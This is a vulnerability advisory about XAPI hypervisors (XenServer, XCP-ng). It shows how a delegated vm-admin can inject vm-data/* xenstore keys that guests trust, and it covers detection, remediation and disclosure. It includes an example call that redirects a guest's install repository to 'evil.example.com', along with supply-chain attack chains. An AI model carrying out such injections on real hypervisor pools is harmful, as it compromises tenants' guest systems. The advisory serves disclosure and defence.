MOKSHA-2026-0059: Multi-Tenant Trust Confusion via VM.xenstore_data

Summary

A vm-admin in XAPI-based hypervisors (XenServer, XCP-ng) can inject vm-data/* keys into VM.xenstore_data that modify guest behavior across trust boundaries in delegated VM administration environments. The injected keys are written to guest xenstore at /local/domain/<domid>/vm-data/ with read-write permissions for the guest domain (domain.ml:604-624). Guest operating systems and agents treat all data under vm-data/ as trusted hypervisor-provided configuration - there is no mechanism for the guest to distinguish legitimate hypervisor data from vm-admin-injected data. This enables supply chain attacks via installation source redirection, configuration endpoint hijacking, and credential injection.

Vulnerability Description

VM.xenstore_data is a Map(String, String) field writable by vm-admin with zero per-key RBAC. In multi-tenant XAPI deployments, the vm-admin role is delegated to tenant administrators who manage a subset of VMs. The vm-data/ xenstore namespace is designed as a hypervisor-to-guest communication channel.

The trust confusion:

1. vm-admin writes attacker-controlled configuration: VM.add_to_xenstore_data(vm, "vm-data/install/repo", "evil.example.com")
2. XAPI stores the value with zero validation (message_forwarding.ml:2092-2099)
3. The key passes the filtered_xsdata prefix check at domain.ml:164-170
4. The key is written to guest xenstore at /local/domain/<domid>/vm-data/install/repo
5. Guest OS installer reads the hypervisor-provided installation source
6. Guest installs software from attacker-controlled repository

The guest has no cryptographic or structural mechanism to verify the provenance of vm-data/* keys. The hypervisor provides no signing, no source attribution, and no access control metadata. From the guest's perspective, all vm-data/ entries are equally trusted.

Root Causes

1. No trust boundary in xenstore. The vm-data/ namespace is a flat, unauthenticated communication channel. The guest cannot distinguish between keys set by a pool administrator, a delegated vm-admin, or the hypervisor itself.

2. Missing RBAC protection. VM.xenstore_data has zero map_keys_roles entries. A delegated vm-admin has the same write access to vm-data/ as a pool administrator.

3. Delegated administration assumption. The XAPI RBAC model assumes that vm-admin is a trusted role for VM management. In multi-tenant environments, vm-admin is a tenant-level role that should not have unrestricted write access to guest configuration channels.

4. No write-time validation. XAPI accepts any key name and value for vm-data/* keys without format, length, or content validation.

Affected Systems

Directly Affected

• XenServer / Citrix Hypervisor - all versions (shared XAPI codebase)
• XCP-ng - all versions (confirmed on 8.3.0)

Indirectly Affected

• Guest VMs in multi-tenant pools - receive configuration from potentially untrusted delegated administrators
• Guest agents - read configuration from xenstore without provenance verification
• Software distribution infrastructure - installation sources and update repositories can be redirected

Exploitation Scenarios

Chaining Analysis

• XSD-5 + XSD-1: Trust confusion (XSD-5) is the multi-tenant framing of the guest agent poisoning vector (XSD-1). In single-tenant environments, the vm-admin is trusted; in multi-tenant environments, the same capability becomes a cross-trust-boundary attack.
• BOC-1 + XSD-5: With root access via BOC-1 S3, the attacker injects malicious vm-data/ configuration into all VMs in the pool, creating a pool-wide supply chain attack.
• XSD-5 + XSD-3: Bidirectional sync (XSD-3) means the guest can also inject data back into the XAPI database, creating a feedback loop where the attacker injects initial configuration and the guest's response is visible to all API consumers.

Detection

• Monitor VM.xenstore_data for writes to vm-data/* keys that match known configuration paths (install sources, update repos, management endpoints)
• Audit delegated vm-admin sessions for xenstore_data modifications
• Alert on vm-data/* changes outside of normal provisioning workflows
• See rule X-05 in disclosure/vendor-detection-guidance.md

Remediation

Short-Term Mitigations

• Audit all VM.xenstore_data records for unexpected vm-data/* entries
• Review delegated vm-admin access in multi-tenant environments
• Validate guest agent configuration against known-good values

Long-Term Fix

Add map_keys_roles protection. Restrict sensitive vm-data/* key prefixes (installation sources, configuration endpoints) to _R_POOL_ADMIN.

Add provenance metadata. Include source attribution (session, role, timestamp) for xenstore data so guests can verify the trust level of injected configuration.

Separate tenant namespaces. In multi-tenant environments, partition vm-data/ by tenant so delegated administrators can only write to their own namespace.

Upstream patches exist. They are held privately pending coordinated disclosure.

Disclosure

Disclosure:

• Public release: 2026-04-24 08:00 CEST
• CERT/CC notified: 2026-04-23
• MITRE CVE reservation filed: 2026-04-09 (no response as of publication)
• EU CVE registers notified: 2026-04-18 (GCVE/CIRCL, ENISA, DIVD - no response)
• Vendor (Cloud Software Group / Citrix): not contacted pre-publication
• Downstream maintainer (Vates/XCP-ng): contacted 2026-04-23 with conditional patch offer

References

• XAPI source: domain.ml:164-170 (allowed_xsdata_prefixes), domain.ml:604-624 (vm-data dir created with rwperm), message_forwarding.ml:2092-2099 (zero validation), datamodel_vm.ml:2818-2831 (VM.xenstore_data field definition)
• Thematic advisory: disclosure/advisories/xsd-security-advisory.md (XSD-5)
• Investigation: research/investigations/vm-xenstore-data.md

Credits

Discovered and reported by Jakob Wolffhechel, Moksha.